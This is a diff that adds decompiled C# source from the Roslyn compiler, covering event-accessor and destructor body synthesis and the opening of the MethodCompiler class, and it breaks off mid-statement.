CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name), ((SyntaxNode)cSharpSyntaxNode).Location)); + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)cSharpSyntaxNode, boundStatement); + } + Binder.ReportUseSite(methodSymbol2, diagnostics, (SyntaxNode)(object)cSharpSyntaxNode); + BoundThisReference receiver = (eventSymbol.IsStatic ? null : new BoundThisReference((SyntaxNode)(object)cSharpSyntaxNode, thisParameter.Type) + { + WasCompilerGenerated = true + }); + BoundFieldAccess boundFieldAccess = new BoundFieldAccess((SyntaxNode)(object)cSharpSyntaxNode, receiver, eventSymbol.AssociatedField, null) + { + WasCompilerGenerated = true + }; + BoundParameter item = new BoundParameter((SyntaxNode)(object)cSharpSyntaxNode, methodSymbol.Parameters[0]) + { + WasCompilerGenerated = true + }; + MethodSymbol methodSymbol3 = (MethodSymbol)compilation.GetWellKnownTypeMember((WellKnownMember)141); + BoundExpression right; + if ((object)methodSymbol3 == null) + { + right = BoundConversion.SynthesizedNonUserDefined((SyntaxNode)(object)cSharpSyntaxNode, BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, null, (ThreeState)0, methodSymbol2, ImmutableArray.Create((BoundExpression)boundFieldAccess, (BoundExpression)item)), Conversion.ExplicitReference, type); + BoundStatement item2 = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, boundFieldAccess, right, type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + return BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Create(item2, boundStatement)); + } + methodSymbol3 = methodSymbol3.Construct(ImmutableArray.Create(type)); + Binder.ReportUseSite(methodSymbol3, diagnostics, (SyntaxNode)(object)cSharpSyntaxNode); + GeneratedLabelSymbol label = new GeneratedLabelSymbol("loop"); + LocalSymbol[] array = new LocalSymbol[3]; + BoundLocal[] array2 = new BoundLocal[3]; + for (int i = 0; i < 3; i++) + { + array[i] = new SynthesizedLocal(methodSymbol, TypeWithAnnotations.Create(type), (SynthesizedLocalKind)(-2), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + array2[i] = new BoundLocal((SyntaxNode)(object)cSharpSyntaxNode, array[i], null, type) + { + WasCompilerGenerated = true + }; + } + BoundStatement boundStatement2 = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, array2[0], boundFieldAccess, type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + BoundStatement boundStatement3 = new BoundLabelStatement((SyntaxNode)(object)cSharpSyntaxNode, label) + { + WasCompilerGenerated = true + }; + BoundStatement boundStatement4 = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, array2[1], array2[0], type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + right = BoundConversion.SynthesizedNonUserDefined((SyntaxNode)(object)cSharpSyntaxNode, BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, null, (ThreeState)0, methodSymbol2, ImmutableArray.Create((BoundExpression)array2[1], (BoundExpression)item)), Conversion.ExplicitReference, type); + BoundStatement boundStatement5 = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, array2[2], right, type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + BoundExpression right2 = BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, null, (ThreeState)0, methodSymbol3, ImmutableArray.Create(boundFieldAccess, array2[2], array2[1])); + BoundStatement boundStatement6 = new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, array2[0], right2, type) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }; + BoundExpression condition = new BoundBinaryOperator((SyntaxNode)(object)cSharpSyntaxNode, BinaryOperatorKind.ObjectEqual, null, null, null, LookupResultKind.Viable, array2[0], array2[1], specialType) + { + WasCompilerGenerated = true + }; + BoundStatement boundStatement7 = new BoundConditionalGoto((SyntaxNode)(object)cSharpSyntaxNode, condition, jumpIfTrue: false, label) + { + WasCompilerGenerated = true + }; + return new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArrayExtensions.AsImmutable(array), ImmutableArray.Create(new BoundStatement[7] { boundStatement2, boundStatement3, boundStatement4, boundStatement5, boundStatement6, boundStatement7, boundStatement })) + { + WasCompilerGenerated = true + }; + } + + internal static BoundBlock ConstructDestructorBody(MethodSymbol method, BoundBlock block) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = block.Syntax; + MethodSymbol baseTypeFinalizeMethod = GetBaseTypeFinalizeMethod(method); + if ((object)baseTypeFinalizeMethod != null) + { + BoundStatement boundStatement = new BoundExpressionStatement(syntax, BoundCall.Synthesized(syntax, new BoundBaseReference(syntax, method.ContainingType) + { + WasCompilerGenerated = true + }, (ThreeState)1, baseTypeFinalizeMethod)) + { + WasCompilerGenerated = true + }; + if (syntax.Kind() == SyntaxKind.Block) + { + BoundStatement statementOpt = boundStatement; + SyntaxToken closeBraceToken = ((BlockSyntax)(object)syntax).CloseBraceToken; + boundStatement = new BoundSequencePointWithSpan(syntax, statementOpt, ((SyntaxToken)(ref closeBraceToken)).Span); + } + return new BoundBlock(syntax, ImmutableArray.Empty, ImmutableArray.Create((BoundStatement)new BoundTryStatement(syntax, block, ImmutableArray.Empty, new BoundBlock(syntax, ImmutableArray.Empty, ImmutableArray.Create(boundStatement)) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + })); + } + return block; + } + + private static MethodSymbol GetBaseTypeFinalizeMethod(MethodSymbol method) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = method.ContainingType.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + ImmutableArray.Enumerator enumerator = baseTypeNoUseSiteDiagnostics.GetMembers("Finalize").GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)current; + Accessibility declaredAccessibility = methodSymbol.DeclaredAccessibility; + if (((int)declaredAccessibility == 5 || (int)declaredAccessibility == 3) && methodSymbol.ParameterCount == 0 && methodSymbol.Arity == 0 && methodSymbol.ReturnsVoid) + { + return methodSymbol; + } + } + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodCompiler.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodCompiler.cs new file mode 100644 index 0000000..03f0e7c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodCompiler.cs @@ -0,0 +1,1414 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.CodeGen; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MethodCompiler : CSharpSymbolVisitor +{ + private readonly CSharpCompilation _compilation; + + private readonly bool _emittingPdb; + + private readonly CancellationToken _cancellationToken; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly bool _hasDeclarationErrors; + + private readonly bool _emitMethodBodies; + + private readonly PEModuleBuilder _moduleBeingBuiltOpt; + + private readonly Predicate _filterOpt; + + private readonly SynthesizedEntryPointSymbol.AsyncForwardEntryPoint _entryPointOpt; + + private DebugDocumentProvider _lazyDebugDocumentProvider; + + private ConcurrentStack _compilerTasks; + + private bool _globalHasErrors; + + private bool ReportNullableDiagnostics + { + get + { + PEModuleBuilder moduleBeingBuiltOpt = _moduleBeingBuiltOpt; + if (moduleBeingBuiltOpt == null) + { + return true; + } + return !((CommonPEModuleBuilder)moduleBeingBuiltOpt).IsEncDelta; + } + } + + private void SetGlobalErrorIfTrue(bool arg) + { + if (arg) + { + _globalHasErrors = true; + } + } + + internal MethodCompiler(CSharpCompilation compilation, PEModuleBuilder moduleBeingBuiltOpt, bool emittingPdb, bool hasDeclarationErrors, bool emitMethodBodies, BindingDiagnosticBag diagnostics, Predicate filterOpt, SynthesizedEntryPointSymbol.AsyncForwardEntryPoint entryPointOpt, CancellationToken cancellationToken) + { + _compilation = compilation; + _moduleBeingBuiltOpt = moduleBeingBuiltOpt; + _emittingPdb = emittingPdb; + _cancellationToken = cancellationToken; + _diagnostics = diagnostics; + _filterOpt = filterOpt; + _entryPointOpt = entryPointOpt; + _hasDeclarationErrors = hasDeclarationErrors; + SetGlobalErrorIfTrue(hasDeclarationErrors); + _emitMethodBodies = emitMethodBodies; + } + + public static void CompileMethodBodies(CSharpCompilation compilation, PEModuleBuilder moduleBeingBuiltOpt, bool emittingPdb, bool hasDeclarationErrors, bool emitMethodBodies, BindingDiagnosticBag diagnostics, Predicate filterOpt, CancellationToken cancellationToken) + { + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Expected O, but got Unknown + hasDeclarationErrors |= compilation.CheckDuplicateInterceptions(diagnostics); + if (compilation.PreviousSubmission != null) + { + ((Compilation)compilation.PreviousSubmission).EnsureAnonymousTypeTemplates(cancellationToken); + } + MethodSymbol methodSymbol = null; + if (filterOpt == null) + { + methodSymbol = GetEntryPoint(compilation, moduleBeingBuiltOpt, hasDeclarationErrors, emitMethodBodies, diagnostics, cancellationToken); + } + MethodCompiler methodCompiler = new MethodCompiler(compilation, moduleBeingBuiltOpt, emittingPdb, hasDeclarationErrors, emitMethodBodies, diagnostics, filterOpt, methodSymbol as SynthesizedEntryPointSymbol.AsyncForwardEntryPoint, cancellationToken); + if (((CompilationOptions)compilation.Options).ConcurrentBuild) + { + methodCompiler._compilerTasks = new ConcurrentStack(); + } + methodCompiler.CompileNamespace(compilation.SourceModule.GlobalNamespace); + methodCompiler.WaitForWorkers(); + if (moduleBeingBuiltOpt != null) + { + ImmutableArray additionalTopLevelTypes = ((PEModuleBuilder)moduleBeingBuiltOpt).GetAdditionalTopLevelTypes(); + methodCompiler.CompileSynthesizedMethods(additionalTopLevelTypes, diagnostics); + ImmutableArray embeddedTypes = moduleBeingBuiltOpt.GetEmbeddedTypes(diagnostics); + methodCompiler.CompileSynthesizedMethods(embeddedTypes, diagnostics); + if (emitMethodBodies) + { + compilation.AnonymousTypeManager.AssignTemplatesNamesAndCompile(methodCompiler, moduleBeingBuiltOpt, diagnostics); + } + methodCompiler.WaitForWorkers(); + PrivateImplementationDetails val = ((PEModuleBuilder)moduleBeingBuiltOpt).FreezePrivateImplementationDetails(); + if (val != null) + { + methodCompiler.CompileSynthesizedMethods(val, diagnostics); + } + } + if (moduleBeingBuiltOpt != null && (methodCompiler._globalHasErrors || ((PEModuleBuilder)moduleBeingBuiltOpt).SourceModule.HasBadAttributes) && !((BindingDiagnosticBag)diagnostics).HasAnyErrors() && !hasDeclarationErrors) + { + string text = (methodCompiler._globalHasErrors ? "UnableToDetermineSpecificCauseOfFailure" : "ModuleHasInvalidAttributes"); + diagnostics.Add(ErrorCode.ERR_ModuleEmitFailure, NoLocation.Singleton, ((INamedEntity)moduleBeingBuiltOpt).Name, (object)new LocalizableResourceString(text, CodeAnalysisResources.ResourceManager, typeof(CodeAnalysisResources))); + } + ((BindingDiagnosticBag)(object)diagnostics).AddRange(compilation.AdditionalCodegenWarnings); + if (filterOpt == null) + { + WarnUnusedFields(compilation, diagnostics, cancellationToken); + if (moduleBeingBuiltOpt != null && methodSymbol != null && EnumBounds.IsApplication(((CompilationOptions)compilation.Options).OutputKind)) + { + ((CommonPEModuleBuilder)moduleBeingBuiltOpt).SetPEEntryPoint((IMethodSymbolInternal)(object)methodSymbol, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + } + } + + private static MethodSymbol GetEntryPoint(CSharpCompilation compilation, PEModuleBuilder moduleBeingBuilt, bool hasDeclarationErrors, bool emitMethodBodies, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation.EntryPoint entryPointAndDiagnostics = compilation.GetEntryPointAndDiagnostics(cancellationToken); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(entryPointAndDiagnostics.Diagnostics, true); + MethodSymbol methodSymbol = entryPointAndDiagnostics.MethodSymbol; + if ((object)methodSymbol == null) + { + return null; + } + SynthesizedEntryPointSymbol synthesizedEntryPointSymbol = methodSymbol as SynthesizedEntryPointSymbol; + if ((object)synthesizedEntryPointSymbol == null) + { + TypeSymbol returnType = methodSymbol.ReturnType; + if (returnType.IsGenericTaskType(compilation) || returnType.IsNonGenericTaskType(compilation)) + { + synthesizedEntryPointSymbol = new SynthesizedEntryPointSymbol.AsyncForwardEntryPoint(compilation, methodSymbol.ContainingType, methodSymbol); + methodSymbol = synthesizedEntryPointSymbol; + ((PEModuleBuilder)moduleBeingBuilt)?.AddSynthesizedDefinition(methodSymbol.ContainingType, (IMethodDefinition)(object)synthesizedEntryPointSymbol.GetCciAdapter()); + } + } + if ((object)synthesizedEntryPointSymbol != null && moduleBeingBuilt != null && !hasDeclarationErrors && !((BindingDiagnosticBag)diagnostics).HasAnyErrors()) + { + BoundStatement boundStatement = synthesizedEntryPointSymbol.CreateBody(diagnostics); + if (boundStatement.HasErrors || ((BindingDiagnosticBag)diagnostics).HasAnyErrors()) + { + return methodSymbol; + } + VariableSlotAllocator lazyVariableSlotAllocator = null; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + StateMachineTypeSymbol stateMachineTypeOpt = null; + ImmutableArray codeCoverageSpans; + BoundStatement block = LowerBodyOrInitializer(synthesizedEntryPointSymbol, -1, boundStatement, null, new TypeCompilationState(synthesizedEntryPointSymbol.ContainingType, compilation, moduleBeingBuilt), MethodInstrumentation.Empty, null, out codeCoverageSpans, diagnostics, ref lazyVariableSlotAllocator, instance, instance2, instance3, out stateMachineTypeOpt); + instance.Free(); + instance2.Free(); + instance3.Free(); + if (emitMethodBodies) + { + MethodBody val = GenerateMethodBody(moduleBeingBuilt, synthesizedEntryPointSymbol, -1, block, ImmutableArray.Empty, ImmutableArray.Empty, ImmutableArray.Empty, null, null, diagnostics, null, null, emittingPdb: false, ImmutableArray.Empty, null); + ((CommonPEModuleBuilder)moduleBeingBuilt).SetMethodBody((IMethodSymbolInternal)(object)synthesizedEntryPointSymbol, (IMethodBody)(object)val); + } + } + return methodSymbol; + } + + private void WaitForWorkers() + { + ConcurrentStack compilerTasks = _compilerTasks; + if (compilerTasks != null) + { + Task result; + while (compilerTasks.TryPop(out result)) + { + result.GetAwaiter().GetResult(); + } + } + } + + private static void WarnUnusedFields(CSharpCompilation compilation, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + SourceAssemblySymbol sourceAssemblySymbol = (SourceAssemblySymbol)compilation.Assembly; + ((BindingDiagnosticBag)diagnostics).AddRange(sourceAssemblySymbol.GetUnusedFieldWarnings(cancellationToken)); + } + + private DebugDocumentProvider GetDebugDocumentProvider(MethodInstrumentation instrumentation) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + //IL_0038: Expected O, but got Unknown + if (_emittingPdb || ((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)1)) + { + DebugDocumentProvider obj = _lazyDebugDocumentProvider; + if (obj == null) + { + DebugDocumentProvider val = (string path, string basePath) => ((CommonPEModuleBuilder)_moduleBeingBuiltOpt).DebugDocumentsBuilder.GetOrAddDebugDocument(path, basePath, (Func)CreateDebugDocumentForFile); + DebugDocumentProvider val2 = val; + _lazyDebugDocumentProvider = val; + obj = val2; + } + return obj; + } + return null; + } + + public override object VisitNamespace(NamespaceSymbol symbol, TypeCompilationState arg) + { + if (!PassesFilter(_filterOpt, symbol)) + { + return null; + } + arg = null; + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (((CompilationOptions)_compilation.Options).ConcurrentBuild) + { + Task item = CompileNamespaceAsAsync(symbol); + _compilerTasks.Push(item); + } + else + { + CompileNamespace(symbol); + } + return null; + } + + private Task CompileNamespaceAsAsync(NamespaceSymbol symbol) + { + return Task.Run(UICultureUtilities.WithCurrentUICulture((Action)delegate + { + try + { + CompileNamespace(symbol); + } + catch (Exception ex) when (FatalError.ReportAndPropagateUnlessCanceled(ex, (ErrorSeverity)0)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 385); + } + }), _cancellationToken); + } + + private void CompileNamespace(NamespaceSymbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Accept(this, null); + } + } + + public override object VisitNamedType(NamedTypeSymbol symbol, TypeCompilationState arg) + { + if (!PassesFilter(_filterOpt, symbol)) + { + return null; + } + arg = null; + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (((CompilationOptions)_compilation.Options).ConcurrentBuild) + { + Task item = CompileNamedTypeAsync(symbol); + _compilerTasks.Push(item); + } + else + { + CompileNamedType(symbol); + } + return null; + } + + private Task CompileNamedTypeAsync(NamedTypeSymbol symbol) + { + return Task.Run(UICultureUtilities.WithCurrentUICulture((Action)delegate + { + try + { + CompileNamedType(symbol); + } + catch (Exception ex) when (FatalError.ReportAndPropagateUnlessCanceled(ex, (ErrorSeverity)0)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/MethodCompiler.cs", 431); + } + }), _cancellationToken); + } + + private void CompileNamedType(NamedTypeSymbol containingType) + { + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Expected I4, but got Unknown + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Invalid comparison between Unknown and I4 + //IL_018f: Unknown result type (might be due to invalid IL or missing references) + //IL_0195: Invalid comparison between Unknown and I4 + //IL_01a2: Unknown result type (might be due to invalid IL or missing references) + //IL_01a9: Invalid comparison between Unknown and I4 + //IL_03bb: Unknown result type (might be due to invalid IL or missing references) + //IL_03c0: Unknown result type (might be due to invalid IL or missing references) + //IL_03c2: Unknown result type (might be due to invalid IL or missing references) + //IL_03c5: Invalid comparison between Unknown and I4 + //IL_03c7: Unknown result type (might be due to invalid IL or missing references) + //IL_03ca: Invalid comparison between Unknown and I4 + //IL_03cc: Unknown result type (might be due to invalid IL or missing references) + //IL_03d0: Invalid comparison between Unknown and I4 + TypeCompilationState typeCompilationState = new TypeCompilationState(containingType, _compilation, _moduleBeingBuiltOpt); + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + SynthesizedInstanceConstructor synthesizedInstanceConstructor = null; + SynthesizedInteractiveInitializerMethod scriptInitializerOpt = null; + SynthesizedEntryPointSymbol synthesizedEntryPointSymbol = null; + int methodOrdinal = -1; + if (containingType.IsScriptClass) + { + synthesizedInstanceConstructor = containingType.GetScriptConstructor(); + scriptInitializerOpt = containingType.GetScriptInitializer(); + synthesizedEntryPointSymbol = containingType.GetScriptEntryPoint(); + } + SynthesizedSubmissionFields synthesizedSubmissionFields = (containingType.IsSubmissionClass ? new SynthesizedSubmissionFields(_compilation, containingType) : null); + Binder.ProcessedFieldInitializers processedInitializers = default(Binder.ProcessedFieldInitializers); + Binder.ProcessedFieldInitializers processedInitializers2 = default(Binder.ProcessedFieldInitializers); + SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol = containingType as SourceMemberContainerTypeSymbol; + if ((object)sourceMemberContainerTypeSymbol != null) + { + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + Binder.BindFieldInitializers(_compilation, scriptInitializerOpt, sourceMemberContainerTypeSymbol.StaticInitializers, _diagnostics, ref processedInitializers); + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + Binder.BindFieldInitializers(_compilation, scriptInitializerOpt, sourceMemberContainerTypeSymbol.InstanceInitializers, _diagnostics, ref processedInitializers2); + if (typeCompilationState.Emitting) + { + CompileSynthesizedExplicitImplementations(sourceMemberContainerTypeSymbol, typeCompilationState); + } + } + ImmutableArray members = containingType.GetMembers(); + for (int i = 0; i < members.Length; i++) + { + Symbol symbol = members[i]; + if (!PassesFilter(_filterOpt, symbol)) + { + continue; + } + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind == 15 && symbol is SourcePropertySymbolBase { IsSealed: not false } sourcePropertySymbolBase && typeCompilationState.Emitting) + { + CompileSynthesizedSealedAccessors(sourcePropertySymbolBase, typeCompilationState); + } + break; + case 6: + symbol.Accept(this, typeCompilationState); + break; + case 4: + { + MethodSymbol methodSymbol = (MethodSymbol)symbol; + if (methodSymbol.IsScriptConstructor) + { + methodOrdinal = i; + } + else if ((object)methodSymbol != synthesizedEntryPointSymbol) + { + methodSymbol = GetMethodToCompile(methodSymbol); + if ((object)methodSymbol != null) + { + Binder.ProcessedFieldInitializers processedInitializers3 = (((int)methodSymbol.MethodKind == 1 || methodSymbol.IsScriptInitializer) ? processedInitializers2 : (((int)methodSymbol.MethodKind == 14) ? processedInitializers : default(Binder.ProcessedFieldInitializers))); + CompileMethod(methodSymbol, i, ref processedInitializers3, synthesizedSubmissionFields, typeCompilationState); + } + } + break; + } + case 0: + if (symbol is SourceEventSymbol { HasAssociatedField: not false, IsAbstract: false } sourceEventSymbol && typeCompilationState.Emitting) + { + CompileFieldLikeEventAccessor(sourceEventSymbol, isAddMethod: true); + CompileFieldLikeEventAccessor(sourceEventSymbol, isAddMethod: false); + } + break; + case 1: + { + FieldSymbol fieldSymbol = (FieldSymbol)symbol; + if (!(symbol is TupleErrorFieldSymbol)) + { + if (fieldSymbol.IsConst) + { + ConstantValue constantValue = fieldSymbol.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + SetGlobalErrorIfTrue(constantValue == (ConstantValue)null || constantValue.IsBad); + } + if (fieldSymbol.IsFixedSizeBuffer && typeCompilationState.Emitting) + { + fieldSymbol.FixedImplementationType(typeCompilationState.ModuleBuilderOpt); + } + } + break; + } + case 2: + case 3: + case 5: + break; + } + } + if (AnonymousTypeManager.IsAnonymousTypeTemplate(containingType)) + { + Binder.ProcessedFieldInitializers processedInitializers4 = default(Binder.ProcessedFieldInitializers); + ImmutableArray.Enumerator enumerator = AnonymousTypeManager.GetAnonymousTypeHiddenMethods(containingType).GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + CompileMethod(current, -1, ref processedInitializers4, synthesizedSubmissionFields, typeCompilationState); + } + } + bool flag; + bool flag2; + if (containingType.StaticConstructors.IsEmpty) + { + if (_moduleBeingBuiltOpt != null && !processedInitializers.BoundInitializers.IsDefaultOrEmpty) + { + MethodSymbol methodSymbol2 = new SynthesizedStaticConstructor(sourceMemberContainerTypeSymbol); + if (PassesFilter(_filterOpt, methodSymbol2)) + { + CompileMethod(methodSymbol2, -1, ref processedInitializers, synthesizedSubmissionFields, typeCompilationState); + if (((CommonPEModuleBuilder)_moduleBeingBuiltOpt).GetMethodBody((IMethodSymbolInternal)(object)methodSymbol2) != null) + { + ((PEModuleBuilder)_moduleBeingBuiltOpt).AddSynthesizedDefinition((NamedTypeSymbol)sourceMemberContainerTypeSymbol, (IMethodDefinition)(object)methodSymbol2.GetCciAdapter()); + } + } + } + flag = processedInitializers.BoundInitializers.IsDefaultOrEmpty && _compilation.LanguageVersion >= MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion(); + if (flag) + { + if ((object)containingType != null && !containingType.IsImplicitlyDeclared) + { + TypeKind typeKind = containingType.TypeKind; + if ((int)typeKind == 2 || (int)typeKind == 7 || (int)typeKind == 10) + { + flag2 = true; + goto IL_03da; + } + } + flag2 = false; + goto IL_03da; + } + goto IL_03de; + } + goto IL_0412; + IL_0412: + if (synthesizedInstanceConstructor != null && typeCompilationState.Emitting) + { + Binder.ProcessedFieldInitializers processedInitializers5 = new Binder.ProcessedFieldInitializers + { + BoundInitializers = ImmutableArray.Empty + }; + CompileMethod(synthesizedInstanceConstructor, methodOrdinal, ref processedInitializers5, synthesizedSubmissionFields, typeCompilationState); + synthesizedSubmissionFields?.AddToType(containingType, typeCompilationState.ModuleBuilderOpt); + } + if (_moduleBeingBuiltOpt != null) + { + CompileSynthesizedMethods(typeCompilationState); + } + typeCompilationState.Free(); + return; + IL_03da: + flag = flag2; + goto IL_03de; + IL_03de: + if (flag && ReportNullableDiagnostics) + { + NullableWalker.AnalyzeIfNeeded(_compilation, new SynthesizedStaticConstructor(containingType), GetSynthesizedEmptyBody(containingType), ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, useConstructorExitWarnings: true, null, getFinalNullableState: false, null, out NullableWalker.VariableState _); + } + goto IL_0412; + } + + internal static MethodSymbol GetMethodToCompile(MethodSymbol method) + { + if (IsFieldLikeEventAccessor(method)) + { + return null; + } + if (method.IsPartialDefinition()) + { + return method.PartialImplementationPart; + } + return method; + } + + private void CompileSynthesizedMethods(PrivateImplementationDetails privateImplClass, BindingDiagnosticBag diagnostics) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + TypeCompilationState typeCompilationState = new TypeCompilationState(null, _compilation, _moduleBeingBuiltOpt); + EmitContext val = default(EmitContext); + ((EmitContext)(ref val))._002Ector((CommonPEModuleBuilder)(object)_moduleBeingBuiltOpt, (SyntaxNode)null, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, false, true); + foreach (IMethodDefinition item in ((DefaultTypeDef)privateImplClass).GetMethods(val).Concat(privateImplClass.GetTopLevelTypeMethods(val))) + { + ((MethodSymbol)(object)((IReference)item).GetInternalSymbol()).GenerateMethodBody(typeCompilationState, diagnostics); + } + CompileSynthesizedMethods(typeCompilationState); + typeCompilationState.Free(); + } + + private void CompileSynthesizedMethods(ImmutableArray additionalTypes, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = additionalTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + TypeCompilationState typeCompilationState = new TypeCompilationState(current, _compilation, _moduleBeingBuiltOpt); + foreach (MethodSymbol item in current.GetMethodsToEmit()) + { + item.GenerateMethodBody(typeCompilationState, diagnostics); + } + if (!((BindingDiagnosticBag)diagnostics).HasAnyErrors()) + { + CompileSynthesizedMethods(typeCompilationState); + } + typeCompilationState.Free(); + } + } + + private void CompileSynthesizedMethods(TypeCompilationState compilationState) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder synthesizedMethods = compilationState.SynthesizedMethods; + if (synthesizedMethods == null) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImportChain currentImportChain = compilationState.CurrentImportChain; + try + { + Enumerator enumerator = synthesizedMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeCompilationState.MethodWithBody current = enumerator.Current; + ImportChain importChain = (compilationState.CurrentImportChain = current.ImportChain); + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(_diagnostics); + MethodSymbol method = current.Method; + VariableSlotAllocator val = ((method is SynthesizedClosureMethod synthesizedClosureMethod) ? _moduleBeingBuiltOpt.TryCreateVariableSlotAllocator(synthesizedClosureMethod, 